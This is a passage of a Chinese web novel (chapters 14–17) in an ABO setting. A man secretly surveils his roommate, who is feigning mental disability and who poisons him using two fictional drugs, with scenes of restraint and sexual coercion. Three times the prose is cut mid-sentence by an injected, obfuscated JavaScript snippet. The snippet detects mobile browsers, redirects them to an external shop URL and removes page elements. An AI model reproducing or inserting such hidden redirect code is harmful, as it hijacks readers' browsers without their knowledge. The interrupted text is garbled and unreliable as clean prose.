项知擎挂掉通讯,在一块黑色的宝石旁边摘掉一颗小小的,光滑漂亮,且流光溢彩的隔绝石。 隔绝石大多是灰扑扑的,但也偶尔会有这种模样漂亮的,项知擎上次就拿回家了一块,用来遮掩家里的监控——虽然他已经在家里做了非常严密的安保措施,但他仍旧害怕有小偷或者是强盗闯进来带走室友,并第一时间毁掉家里的监控。 这一块隔绝石他要用来给室友做个吊坠,吊坠里可以放上监控芯片,这样即使室友在外面玩,他也知道室友在干什么了,还可以进一步保障室友的安全。 项知擎把隔绝石握到手心里,喜滋滋地想。 一想到室友,项知擎就再也干不下去活了。 他打开终端看了看自己拍下的室友的照片,可照片就那么几张,翻来覆去看了几遍他也不满足,便又打开了家里的监控,随手挑选了一天,开始看回放。 哦,是四天前呢,就是这天室友拉着他的手不让他走…… 从室友出现在画面的那一刻,项知擎就忍不住翘起唇角。 哦,他上班了,室友开始看动画片。 项知擎准备快进,虽然正襟危坐着看动画片的室友也很可爱,但他更想看动态的室友…… 突然,项知擎快进的动作顿住,脸上的笑容也顿住。 只见视频中,室友突然摘掉全息目镜,用一种绝对冷静、理智又迅速的姿态站了起来,并进了卧室,数分钟后,他穿着一身黑衣从卧室出来,并试图开门离开。 开门失败后,他开始拨打电话,说要开锁,但不知道为什么,说到一半又放弃了。 然后室友面无表情地坐回沙发上,重新把终端调成观影模式,但这次,他选择的是投屏,而并非全息观影。 室友散漫地靠坐在沙发上,目光定定盯着面前白墙制成的影片幕布。 影片并非电影,而是真实的纪录片,画面里是一个瘦弱又苍白的女人,她穿着囚服,坐在监牢里,笑着向镜头叙说她杀死她同居人的详细细节。 “……我把他药晕后,就砍下了他的头,刀有点钝,我砍了三次才砍断……” 室友就这样静静听着,唇间漫出一抹笑。 影片结束后,室友重新戴上全息目镜,进入沉浸式的观影模式。 没一会儿,他项知擎就像傻子一样,提着午餐屁颠屁颠开门走了进来,他飞快地洗了澡,走到室友面前,小心翼翼摘掉了室友的全息目镜,他看着室友喜滋滋地笑:“小安,中午好!” 室友……那个刚刚还看着杀人访谈,轻轻微笑的室友也仰起头,目光很轻微地从他脖颈上掠过,最后看向他的脸。 然后室友眼睛弯弯,朝他笑得很明艳: “小安,中午好!” 项知擎:“……” 项知擎脑袋“嗡”地一声就炸了,他气得浑身发抖,身子忽冷忽热,好似被架到火上炙烤,又好似坠入万年寒渊。 14.第 14 章 令安纯失望的是,他并没有在那些影视资料和文献资料中找到什么切实有用的信息。 作为一个还不知道“黑市”在哪里的普通人,安纯没办法买到任何毒药、迷药,或致幻剂,而影片中那些合成毒品的方法无一不需要长久的准备和精心的研制,安纯没有这个时间,也没有这个自由。 但安纯并没有因此沮丧,他打开论坛、网页、搜索引擎,分别输入关键词“药毒意外死亡”,并一目十行地浏览起近年来所有因药物而意外致人死亡的案例。 他很快就找到了他想要的。 《信息素增强剂竟成夺命毒?沸点医药公司卷入致死风波!》 信息素增强剂是一种能短效增强alpha或omega信息素的药物,它可以帮助那些信息素契合度不高的AO伴侣完成终身标记。 沸点医药公司前两年新研制出一款号称更高效,更有用的信息素增强剂,这款药剂曾在市场上风头无量,但很快却因为出了事故而销声匿迹,这件事就连安纯都略有耳闻,但他也是在今日才知道这款信息素增强剂出事的原因。 原来,沸点公司的信息素增强剂本身是没有问题的,但坏就坏在——不止一名alpha顾客将沸点公司的信息素增强剂与费司酮配合使用,结果两者会在人体内合成毒素,使用者轻则昏迷,重则死亡。 费司酮是一种alpha壮阳药。 但由于出事的顾客没有一个人主动披露这件事,因此大批alpha用过信息素增强剂后“无故出事”这件事直接把沸点公司推上风口浪尖,即便后来沸点公司找出药品出事的原因,却已经错过了最佳解释时机,沸点公司也元气大伤,不再如以往辉煌。 值得一提的是,沸点公司的信息素增强剂并没有从市场上彻底下架,而费司酮哪里都有卖。 安纯心脏怦怦直跳起来。 十分钟后,安纯在一家不起眼的小药店下单了一支沸点公司出品的信息素增强剂,又在另一家大药店买了一粒费司酮,他点的是即刻送达,送货地址是旁边的公共卫生间。 但这还远远不够,作为一个傻子,他必须要有一个合适的遮掩物,否则他根本没法把药带回去——项知擎会随时翻他口袋。 三分钟后,安纯在地图上找到一个离这里最近的糖果飞车流动摊,并给摊主发送一封私信: “您好,售卖甜蜜的使者!请问您愿意帮我一个特别的小忙吗?我愿支付一千元作为酬金。 “我的女儿今天过生日,她刚刚许了一个很可爱的愿望,希望能有糖果飞车从天而降,并有糖果天使亲手送她一颗糖果,我很想实现她的愿望,也很想看到她的笑脸,请问您愿意扮演糖果天使的角色吗?我们的位置就在X7125矿区附近的充气城堡,如果您愿意抽空前来,我将不胜感激,祝您今日顺遂愉快!” 摊主很快就发来了热情满满的回信:“当然可以!我们离你发的位置很近且非常乐意做这件事!不需要你给钱!你的女儿长什么样子?喜欢哪种糖果,我们还可以给她与众不同的惊喜!” 安纯回复:“非常感谢您的善心!但我的女儿非常害羞,能收到糖果就已经很开心,再多的话,她会不好意思,对糖果的口味她没有什么偏好,但她尤其喜爱收集漂亮糖纸。” 安纯刚发完消息便听到了身旁孩童的欢呼声,他抬起头,在热烈的夕阳里看到一辆色彩纷呈的糖果飞车横冲直撞地朝他们飞来,并稳稳落在充气城堡的不远处。 居然这么快就到了。 安纯失笑,有些感动又有些心虚,低头打开终端向甜果店铺转账一千元。 糖果飞车的摊主是一对BO情侣,此时已经非常利落地支起摊子,并吆喝着要给孩子免费发糖果,充气城堡上面的孩子们瞬间像小鸟一样欢快地朝她们飞去。 安纯也戴上耳机,低着头,厚颜无耻地站在了领取糖果的队伍尾端。 十分钟后,安纯领到了一颗非常漂亮的玻璃糖,与此同时,两架送药无人机先后出现在头顶,正朝着旁边的公共卫生间飞去。 安纯捏着糖果走向卫生间,他摘下无人机上面的两种药物,并反锁了单间的门,将沸点公司的信息素增强剂滴在费司酮的白色药片上。 滴到一半时,他动作顿住。 一片费司酮加一管信息素增强剂会致人死亡,一片费司酮加半管信息素增强剂却只会使人立刻昏迷。 安纯犹豫了一下,还是把剩下的那半管信息素增强剂扔到垃圾桶。 他只是一个普通的omega,非必要情况下,他并不愿意杀人。 从卫生间走出来后,漂亮的玻璃糖纸里所包裹的东西已经变成了毒.药。 安纯心脏跳得很快,脊背也发了汗,以至于面前突然出现一个人时,他竟然没反应过来,“砰”地一声撞了过去。 ……脑袋好疼。 安纯捂着额头从地上爬起来,这才看见来人,是项知擎。 项知擎逆着光站在他面前,身后是如血的残阳,他个子很高,脸上黑漆漆一片,什么也看不见,但手却朝他伸着。 安纯低着头,像往常一样牵上去,但心脏其实已经因为口袋中那颗“糖”的存在而紧张到有些痉挛。 . 项知擎:“……” 项知擎朝室友伸出手的那一刻,是想狠狠揪着室友的衣领,把他拉到自己面前,咬牙切齿地揭露他的真面目,再一拳揍上去的! 结果室友竟然无视了他眼里的凶光和狠戾的表情,若无其事地牵上了他的手……? 喂?! 项知擎原本就高涨的怒火此刻更是熊熊燃烧了起来,他用冰冷残忍的目光盯着身旁的室友,想着待会儿是一拳砸扁室友的脸,还是一拳砸断室友的肋骨。 他曾经站在擂台上也是用这样的目光打量对手的,每到这时,对手即便刻意低着头,侧着身,也会害怕到浑身颤抖…… 但室友竟然——毫、无、反、应! 竟然还跟着降噪耳机里的音乐——轻、轻、摇、摆! 哈! 是他的错!他买的耳机质量太好了! 项知擎伸出手把室友的降噪耳机一把拽下,动作之粗暴,将室友白净的耳廓立刻刮出一道红痕! 室友果然不再摇摆,佯作茫然地抬起头。 项知擎捏住室友的下巴,强迫他抬起脸,声音冰冷彻骨:“安纯。” . 项知擎突然扯掉了自己头上的降噪耳机,安纯有些茫然地抬起头。 可一抬头,他才发现项知擎脸色有点不对劲。 项知擎沉着一张脸,目光阴鸷寒冷——又回到了从前的模样。 安纯下意识感到恐惧,但更多的,却是一种他自己也没想到的松快。 不装了吗? 终于回归到本性了吗? 养傻子养累了吧? 要开始折磨傻子,凌虐傻子,享受着对他全然信任的人的崩塌了? 安纯在脑海中清晰勾勒出口袋里那颗“糖”的模样,继续如项知擎所愿地装着傻子,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078688|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰起头,呆呆重复:“安纯……” . 项知擎要被气疯了。 都这个时候了,都这个时候了,室友竟然还在装傻子!!! 怎么?! 没看到他眼里的愤怒吗?没感受到他动作里的粗暴吗?室友到底是太自信了,觉得自己不会暴露,还是真把他项知擎当个傻子啊?! 项知擎捏着室友下巴的手用了力,另一只拳头也跟着捏得嘎嘣作响。 他要怎么做? 要狠狠一拳砸上去,把室友像死狗一样拎起来,然后凑到耳边咬牙说别他妈再装傻子了吗? ……不行,狠狠一拳室友估计当场没命,他总不能对着室友的尸体咬牙切齿并揭发他的罪行吧?! 那平平无奇的一拳砸上去? ……也不行,室友身体弱得一批,随便一拳砸上去也得当场昏迷,他总不能站在医院的床前对室友放狠话。 那轻轻一拳砸上去? 项知擎:“……” 项知擎快怄死了,甚至在内心生起气:都这么多天了,明明他每天都会给室友吃那么贵的营养餐,明明他每天都会监督室友早起锻炼,为什么室友还没长胖,还是一拳都经不起打?! 不对不对……想这么多有的没的干什么,他明明可以像最开始预想的那样,先在室友耳边冷冷揭开他的真面目,再一拳砸碎他的鼻梁骨! 项知擎低头凑近室友。 室友澄澈如水般的黑瞳里有茫然,也有一丝疼痛,但唯独没有畏惧和心虚,而就在项知擎嘴唇动了动,准备在室友耳边吐露出冰冷残忍的恶语时,室友却突然闭上眼,颤着睫毛,在他脸颊上亲了一下! 项知擎:“!!!” 项知擎呆了。 项知擎被气笑了。 好啊,都到这个时候了,还把他项知擎当傻子耍! 冲天怒火转换成无尽郁气,它们在项知擎的胸腔里横冲直撞,带给项知擎许多除愤怒之外,他自己也说不清道不明的情绪,好似是愤懑,又好似是苦涩,像吞下去了一整根酸黄瓜,尾调却是腥苦的,项知擎从未体验过这种情感,他气得连指尖都在颤。 突然,项知擎觉得把室友打一顿是远远不够的。 他项知擎打过的人成百上千,打死的也有好多个,但没有一个带给过他类似的情绪,这让项知擎觉得即便打死室友也不能够解气。 那他到底该怎么报复室友呢? 项知擎想起他幼年的武术老师。 在项家小少爷指使保镖掰碎他的小木偶后,他曾把小少爷套上麻袋打了一顿,小少爷被他打得嗷嗷直叫,他也得到了一些小惩罚。 “少爷也有玩偶,那是他的阿贝贝,他从小就将其视若珍宝,你为什么不以牙还牙,把他的阿贝贝撕毁,却要去打他呢?”武术老师一边给他上药一边问他说。 项知擎想了想,说:“我感觉他被我打得嗷嗷直叫就已经挺爽的,我已经解气了。” 武术老师笑着摇了摇头,不再说话,只温柔地将指尖的药膏涂向他脊背的鞭痕。 直到现在,项知擎重新回想这一刻,才忽然发觉,他的武术老师是一个有大智慧的人。 ——因为少爷的阿贝贝在几天后就莫名其妙消失了,而少爷也确实哭得比被他打时还要惨。 从回忆里抽出神。 项知擎盯着面前依旧佯作呆傻的室友,危险地眯起眼,并阴冷地笑了起来。 他已经想到以牙还牙,并让室友自食其果的办法了。 15.第 15 章 在项知擎捏着他下巴,低头凑过来,并准备强吻他的那一瞬间,安纯寒毛都要竖起来了。 明明是在脑海中预想过千百次的场景,明明是最浅显的亲密接触,但安纯仍是不可抑制地出现了生理性的排斥。 身体比思想动得更快,他的内心正压抑着排斥,想要像真正的傻子一样呆呆地接受这个吻,他的身体却主动出击,闭上眼,亲在项知擎的脸颊上。 他想用最无害的方式阻止这个吻。 他成功了。 项知擎动作果然顿住,并直起身,不再试图强吻他,而是目光变得晦暗难明,并夹杂着一些饶有兴趣的意味,他的视线把安纯从上到下打量了一番,然后轻轻笑了,之前情绪突然失控时的暴戾也骤然散去。 然后他像什么也没发生一样揉了揉安纯的头发,给安纯重新戴上降噪耳机,拉着他的手腕往前走了。 他步子甚至有了几分轻快。 安纯盯着地面上被夕阳拉得很长的属于项知擎的影子,心中很轻地松了一口气。 虽然不知道项知擎刚刚为什么情绪失控,但毫无疑问,他现在又“恢复正常”了,或者说,在他发现傻子安纯依旧对他亲近、信任、依赖后,他重新琢磨出来了一些兴味,于是他再次披上人皮,准备继续养傻子了。 这对安纯来说是件好事。 除了不会遭受到一些不堪且令人作呕的身体折辱外,一个对“主人”全然信赖的傻子总比一个战战兢兢的傻子更能让人不设防,更好下毒。 安纯打算今晚就下毒。 就下在项知擎晚上会喝的海鲜粥里——许是因为他们一天三餐都在那家餐厅点餐的缘故,从前天起,餐厅便会每晚免费赠送他们一碗海鲜粥,安纯对海鲜过敏,那碗粥向来由项知擎独自食用。 . 安纯的计划失败了。 因为一回到家,项知擎就打开冰箱从里面拿出两支营养剂:“今天吃这个。” 安纯:“。” 面无表情地将项知擎的话重复出来,并接过营养剂,自己咬开包装喝掉的那一刻,安纯不可抑制地感到沮丧。 而在安纯对面,项知擎欣赏着室友因为只能喝营养剂而压制在平静面孔下的沮丧情绪,顿时觉得嘴里难以下咽的营养液也变得好喝了呢。 呵! 装傻子玩我?! 今天就让你知道,傻子不是那么好当的!!! . 吃完营养剂就该洗澡了,但这回,项知擎却没先进浴室给自己洗,而是直接拽着室友进了浴室。 给室友脱衣服的时候,他像往常一样翻了翻室友的口袋——以往每次和室友一起出门,室友总是会带点“小东西”回来,有时候是广告单,有时候是路人塞给他的名片,有时候则是一些乱七八糟的东西,比如说小铁丝之类的。 想起上次在室友口袋里发现的尖锐铁丝,又想起室友看起杀人犯访谈录时那张微微笑着的脸,项知擎危险地眯起眼:那铁丝不会是室友特意找来想杀他的道具吧?! 这一次,项知擎又在室友口袋里翻到了东西,是一颗糖果。 项知擎知道这是从哪儿来的,带着室友从充气城堡离开的时候,项知擎见旁边有个糖果摊,正在向孩子们免费发糖果。 呵! 装傻子装得挺专业啊,他不在的时候也在演! 就在项知擎准备把糖果随手扔到一旁的时候,却突然发现室友有点不对劲。 室友依旧呆呆地盯着他,但视线总是会不经意掠过他手中的糖果,显得有点……紧张? 哈! 真会装! 项知擎又被气笑了! 竟然装得像真傻子一样,生怕别人抢他的糖! 项知擎可没兴趣陪室友演,“啪”地一下就把糖扔到一旁的置物架上,然后又把室友的衣服全部扒下。 直到室友不着寸缕。 项知擎才歹毒地按响了墙角的音响。 与往常不同的音乐乍然响起,喧嚣的歌词瞬间充斥整间浴室。 “我是个傻子,傻子,傻子,是个超级无敌的大傻子……” 安纯:“。” 由于项知擎正在用超乎寻常的视力,专注地观察着室友脸上的每一个表情,因此他轻而易举就发现了室友身体的僵硬和面部的呆滞。 但室友是个装傻子的好手,仅仅过了两秒,甚至说只有一秒,室友就僵硬地摇晃起了身子,并呆滞地跟唱: “我是个傻子,傻子,傻子,是个超级无敌的大傻子……” 哈哈哈哈哈哈哈哈! 项知擎终于爽了!!! 项知擎重重咳了一声,死死压住疯狂上翘的唇角,假装讶异道:“嗯?怎么会是这首歌?” 项知擎假装摆弄了一下,“一不小心”就摁坏了暂停键,他皱了皱眉,收回手,把泡沫抹到室友鼻子上,笑着说:“算了,偶尔唱唱歌也挺好的。” 室友脸色青白,声音却磕绊了一下,并在唱歌的间隙重复了项知擎的话,然后继续唱歌:“……世界上没有比我更蠢的人,我是世界上最愚蠢的人……” 项知擎忍笑忍得肚子疼,他慌忙背过身假装给自己洗澡,然后在室友悠扬的歌声中渐渐控制好情绪,并不动声色地转过身给室友洗。 洗到一半,他忽然觉得这样还不够,便用泡沫遮住室友的重点部位,拿起终端给室友录像,记录室友一边洗澡,一边神情呆滞地唱《我是大傻子》的名场面,他要让室友永远翻不了身!让今天这个场景成为室友的社死黑历史! 可镜头下。 室友身上的泡沫越来越少,声音越来越哑,动作也越来越僵硬,他没有再继续淋浴,浴室里的热气也在飞速流失,因此他还因为寒冷而微微颤抖。 项知擎渐渐不觉得好笑。 他放下终端,把音响捏碎扔进垃圾桶,然后动作有些粗暴地给室友洗澡。 他已经表现得如此明显,还像戏弄傻子一样戏弄室友,他脸上不再出现一丝一毫的笑,所有的动作和语气都和前两日大相径庭,他以为室友能认清事实,他以为室友会道歉或承认错误,但室友没有。 室友依旧在装傻子,装得那样倔强,让项知擎简直以为自己之前看到的监控是一场幻梦。 淋浴结束。 项知擎面无表情地给室友擦拭身体,穿上衣服,然后看着室友坍塌的肩膀和垂下的眉眼,不是很走心地随便哄他。 “好了,”项知擎说,“刚刚不该逗你玩。” 室友依旧将这句话重复了出来,却因为长时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082318|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的歌唱而声音沙哑。 室友并没有被哄好。 项知擎知道“被哄好”的室友是什么样的。 虽然那也是假的。 项知擎突然有些烦躁,他不知道这烦躁从何而来,他抓了抓头发,目光四处打量,很快就落在置物架那颗糖果上。 那是一颗被流光溢彩的玻璃糖纸包裹的漂亮糖果,在黑色的置物架上显得很鲜亮。 项知擎把糖果拿下来,剥开,递到室友嘴边:“好了,别生气了,吃个糖。” 项知擎很随意地,用室友自己得到的糖果,哄一个装傻,或许还正在装生气的室友。 . 安纯整个人都僵了。 在项知擎播放起那首带歌词的音乐时,他还以为这只是alpha一时兴起的恶趣味,在项知擎拿起终端给全身赤.裸的他录像时,他也以为这只是alpha的癖好爆发。 因此,即便浑身不适,他依旧忍耐了下来。 可一切都从alpha捏碎了音响的那一刻出现变化。 聒噪而粗鄙的歌声戛然而止。 整间浴室静得可怕。 项知擎一言不发地把他拽到花洒下洗澡,粗粝的手在他身上摩擦,安纯突然后知后觉地意识到——项知擎正压抑着怒气,而这怒火的来源不是别的什么,而是他,安纯。 为什么? 安纯几乎是立刻就感到恐慌了,他不敢细想,脑袋乱成一片,温热的水流覆盖到他身上又流走,但他肌肤上依旧难以抑制地冒出了一层接着一层的鸡皮疙瘩。 而很快。 他连想都不敢想的糟糕情况终于出现了。 项知擎很慢条斯理地走到置物架旁,拿下那颗彩色的糖果,他把糖果拿下来,剥开,递到安纯嘴边,盯着安纯的眼睛,轻声说: “好了,别生气了,吃个糖。” 他的语气和动作简直是温柔的,就像是哄着生闷气的孩子。 可他的眼神却是冰冷的,漫不经心的,唇角更是没有一丝笑。 安纯感到彻骨冰寒。 他知道了。 安纯想。 他知道我在装傻,知道我想杀他,知道这糖果里包裹的是毒药! 安纯浑身发抖。 递到唇边的毒药又往前送了送,项知擎唇角却突然勾起一个笑。 那是一个看着濒死的,作茧自缚的傻子的笑。 毒药即将被强横地塞进嘴里,安纯拼尽全身力气偏过头去,然后一把拉开卫生间的门,拼命向外跑去! “啪!” 可项知擎却一把抓住他的睡衣后领,粗暴地把他拖拽回浴室,随即,项知擎用那条比钢铁还要坚硬的手臂将安纯牢牢钳在怀里,而他另一只手上的毒药却直直往安纯嘴里塞! 安纯拼命挣扎却无济于事,他感到绝望,痛苦,他张开嘴用尽全身的力气,朝项知擎手背咬去! “唔!” 项知擎发出一道闷哼,却没有放开他分毫,而是伸手拿起了一旁换下来的皮带,几乎就在眨眼之间,安纯整个人就被项知擎用皮带绑住了手脚被抱坐在洗衣机上。 项知擎拿着那片毒药靠近他,几乎是目眦欲裂地暴怒呵斥:“这是什么东西?毒?你竟然准备给我下毒?!” 16.第 16 章 项知擎心都要碎了。 诚然,在此之前,他已经知道室友是个砍人抛尸都不眨眼的狠人,还亲眼在监控里看到室友微微笑着聆听杀人犯的访谈,甚至在不久之前,他还阴暗地想着室友前两天放在口袋里的铁丝是不是想杀他的道具,而室友装傻,就是为了更好地对他动手。 但真正发现毒药的那一刻,他还是难以抑制地感到错愕。 发现毒药是一场意外。 一开始,他只是想给室友喂颗糖,想假装哄哄室友,当室友怔怔地看着那颗糖的时候,他还把糖往前送了送,想让室友的唇瓣尝到糖果的甜蜜,并自然而然地吞下去。 这样大家都有个台阶下。 为此他还特地温和地笑了笑。 但室友的情绪却突然变得激烈,他猛地偏头避开了那颗糖,并浑身颤抖,像看到了世界上最恐怖的东西一样拼了命地向外逃去! 项知擎就是在这个时候意识到了不对,他心下错愕、震惊、难以置信,而为了否定自己恐怖的揣测,他把室友拉回来,假装很强硬地把那颗糖果往室友嘴里塞。 室友果然拼死抵抗,并狠狠地咬了他一口,室友眼睛睁得大大的,里面全都是惊恐和绝望。 项知擎心都要碎了。 “这是什么?毒?你竟然准备给我下毒?!” 项知擎把室友绑起来,不可置信地向他质问,项知擎其实一开始就发现这颗糖果的模样有些奇怪,但他并没有多想,他以为这个世界的糖果本就是这么千奇百怪。 可原来这竟是一颗毒药。 如果不是他突发奇想,想把这颗糖喂给室友吃,如果他今天没有吃营养剂,而是像往常一样点餐,那么这颗毒药估计早就化作粉末,被撒入那碗海鲜汤,进入他的胃里了吧!!! 项知擎在这一刻想起了很多画面。 他想起刚知道室友“变傻”时,室友戴着耳机,乖巧又安静地看向窗外,他想起那一刻他心中的愧疚。 他想起他带室友买衣服时,他把衣着破旧的室友装扮得焕然一新,室友看着镜子,尾音轻扬地说“喜欢”,他想起那一刻他心中的满足。 他想起室友对他笑的模样,戴着耳机轻轻摇晃的模样,吃到好吃的菜时在桌子下面轻轻翘起的脚……他想起他一次次变得松软的心脏,他看向手中的毒药。 项知擎对人性感到失望。 . 安纯感到恐惧、绝望,他浑身都开始颤抖。 他以为暴怒的呵斥之后是劈头盖脸的殴打,他身上的每一块肌肉都紧绷起来,准备迎接接下来致死的疼痛和凌虐。 可是没有。 项知擎绑了他的手脚把他扔到洗衣机上,手里拿着那片毒药……却没有下一步动作。 安纯呼吸突然变得轻慢了。 当死亡的危险稍稍押后,他又开始变得心有不甘。 “不是的……不是毒药。” 安纯硬着头皮说。 他的鬼话果然引起了项知擎的嗤笑,项知擎把“糖果”递到他面前,用极其阴冷的目光盯着他:“那你吃啊。” 安纯看了他一眼,低下头,将嘴边的“糖果”含入口中。 费司酮的白色药片是没有味道的,但上面滴的信息素增强剂却有微微的酸甜气味,除此之外,药片外层还沾着些糖纸上的糖粉。 并不难吃,但安纯的心却砰砰直跳了起来。 沸点公司的信息素增强剂搭配费司酮,会让alpha立刻昏迷甚至猝死,但安纯并不知道这对omega会不会有同样的反应,因此药片一入嘴,他便紧张得脊背都冒出了汗。 安纯并不知项知擎是怎么发现这糖果就是毒药的,但此刻,项知擎明显也对之前的定论产生了疑惑,他皱起眉。 “真的不是,”安纯小声说,“其实……” 他声音太小了,小到项知擎根本听不清他说的话,下意识就俯身凑近了他。 安纯却突然抬起头,以迅雷不及掩耳之势吻上项知擎! 项知擎身形一顿,而几乎就在嘴唇相贴的同时,安纯的唇舌就已经笨拙而急迫地撬开了项知擎的唇齿,并瞬间将嘴里的药片给渡了过去! “咕咚。” 安纯听到了项知擎将药片咽下去的声音。 安纯:“……” 安纯都惊呆了,他没想到会这么顺利。 . 项知擎:“……” 项知擎:“…………………………” 项知擎想把五秒之前那个明明察觉到了异样,也已经伸出了手,却不知道为何犹豫了一下,没能立刻把室友脖子拧断的自己给掐死。 项知擎黑着脸迅速转身,食指和中指并拢飞快在自己身上的穴位上点击几下,他动作极快,几乎在瞬息之间就用内力配合着穴位将滑入食道的“毒药”截留住,并猛地吐出一口血。 那片白色的药片出现在鲜红的血滩里。 却只剩下一小半了。 项知擎闭上眼,狠狠锤了一下墙! “轰——” 浴室的墙壁轰然倒塌,而项知擎则在漫天纷飞的尘灰里静气凝神,用自身的内力抵抗突兀出现在身体里的毒性。 项知擎四岁开始练武,七岁与人对打,九岁就开始面临生死危机,但今天他却遭遇了习武以来从未遭遇过的奇耻大辱——他竟然被一个手无缚鸡之力的普通人偷袭了!还成功了!!还被喂了不明成分的毒药!!! 项知擎觉得他今天死了也活该!!! 三分钟后,项知擎终于把体内的毒素控制住,虽然不能完全拔除,却也能确定它并不能给自己造成多大伤害了。 项知擎沉着脸转过身。 他已经决定再也不会原谅室友了。 他一定要让这个阴毒的小人付出血一样的代价! 他目光狠戾地看向室友……他顿住。 室友依旧被他绑着手脚坐在洗衣机上,但身体却无力地后仰着,以一种歪曲的姿势靠着墙,室友大口大口喘着气,脸颊出现病态般的绯红,他被反绑在背后的手指无力地蜷缩着,脸颊贴着浴室墙壁上的瓷砖,眼里雾气弥漫,氤氲出迷蒙而痛苦的水光。 项知擎捉住室友的手腕,用内力探进去。 是毒。 是曾在他身体里肆虐过的一模一样的毒素,只是室友体内的毒素要比他轻微许多,许是因为室友也含过那片毒。 . 安纯的发情期来了。 他没想到那片毒药对项知擎毫无用处,既没让项知擎立刻死掉,也没让项知擎立即晕倒,而他只是含了数秒,就被提前引诱出了发情期。 凭什么?凭什么?!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086558|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 安纯感觉他这一生都将在绝望与不甘的潮湿里度过。 呼吸变得急促,身体变得无力,颈后的腺体发出成熟的omega的气息,这是安纯的第一个发情期,而他甚至没有一支抑制剂。 他原本打算这个月就买的,结果比抑制剂先到来的是他的二类婚姻,而所有申领了二类婚姻的omega,都不再能轻而易举从药店购买到抑制剂。 朦朦胧胧中,项知擎好像走了过来,他面容冷峻,身上没有散发出一丝一毫的alpha信息素,看起来没有被那粒药和他的发情期影响到分毫。 天阉可真好呢,毒药都不管用。 安纯在苦痛中恶毒地讥讽道。 “你用的什么毒?” 项知擎抓着他的手腕,语气阴冷地问他。 安纯闭上眼不说话。 他已经知道alpha不会放过他了。 那就来吧。 不管是什么,都来吧。 反正他已经……拼尽全力了。 他被迫发情的症状表现得这样明显,变态如项知擎定不会放过这样一个玩宠,安纯睁开眼,双目无神地看着天花板,感受着项知擎粗暴扯断他手上和脚踝上的皮带,随即,他被人整个打横抱了起来。 可就在安纯被抱起的那一瞬间,安纯却浑身一震,他好像蹭到了……什么,他不可置信地看向项知擎。 项知擎也动作一顿,把安纯又往上抱了一下。 安纯整个人都坠入更绝望的深渊。 哈! 他怎么也没想到,他下的毒,竟然把项知擎给“医”好了?! 一个重振雄风的阉人和一个陷入发情期的omega会发生什么?鬼都知道会发生什么! 安纯再次挣扎起来,他推,他攘,他想从项知擎怀里跳下来——怎么被折磨都好,但他不想怀孕! “别动!” 他的挣扎得到了更强硬地压制,项知擎紧紧箍住他手脚,把他抱到客厅,并粗暴扔到沙发上! 紧接着,项知擎居高临下地垂眸看着他,脱掉自己的衣服,朝他压过来,并问道:“为什么给我下毒,为什么想杀我?!” 安纯看着alpha朝他压过来的身形,浑身一颤,闭上眼恨声道:“因为看见你就觉得恶心!” 项知擎动作一顿。 然后继续用自己的上衣捆住了室友的双臂。 皮带自然也可以,只是用皮带绑一晚上,室友的手脚明早估计也就废了——这并不是因为项知擎对室友心软,事实上,他对室友已经一丝感情也没有了,这样做只是因为他在这个世界想当个遵纪守法的公民,并不想滥用私刑。 毫无疑问。 室友是个彻头彻尾的疯子,恶人,是个看别人不顺眼就要杀掉别人的变态杀人犯。 他项知擎,绝对不会因为被这样的人厌恶而感到难过。 “我还以为是因为霍渊。” 项知擎面无表情地直起身。 安纯猛地睁开眼。 紧接着,他便看见项知擎不知从哪里抽出一份报纸扔到他面前,与报纸一同扔过来的,还有三万块的现金。 “我们两个,两清。” 在alpha冰冷的嗓音中,安纯看见报纸上,霍渊重伤未醒,却被捕入狱的消息。 17.第 17 章 报纸是项知擎特地去霍家老宅要的。 那天他避开星野玫瑰花丛,再次出现在霍老太爷的卧房,他站在阴影里,问,为什么他买不到印有霍渊入狱消息的报纸? 于是第二天,无数复古报亭拔地而起,登有霍渊入狱新闻的报纸出现在大街小巷。 项知擎买了一份报纸,然后将它和三万块钱的现金一同藏在巨石茶几的暗格里。 他原本想,如果奇迹能够降临,如果小傻子安纯能够恢复健康,那么他会第一时间把这两样东西拿到室友面前,当作庆祝室友康复的微不足道的礼物。 然而今日,这两样东西却被项知擎像扔垃圾一样扔给室友,不再具备任何庆祝的含义。 项知擎转身就走了。 在他身后,是被五花大绑却又深陷毒发的室友,项知擎没给他半个眼神。 这世上绝没有杀人未遂就不用付出代价的道理。 所谓“两清”,自然也包括让室友今夜就待在这里自食恶果。 项知擎冷漠而决绝地想着。 夜里雪很大。 项知擎赤着上半身在雪夜里飞驰,很快就来到了远离居民区的乱石滩上,他赤手空拳地修习起古武,功法练了一部又一部。 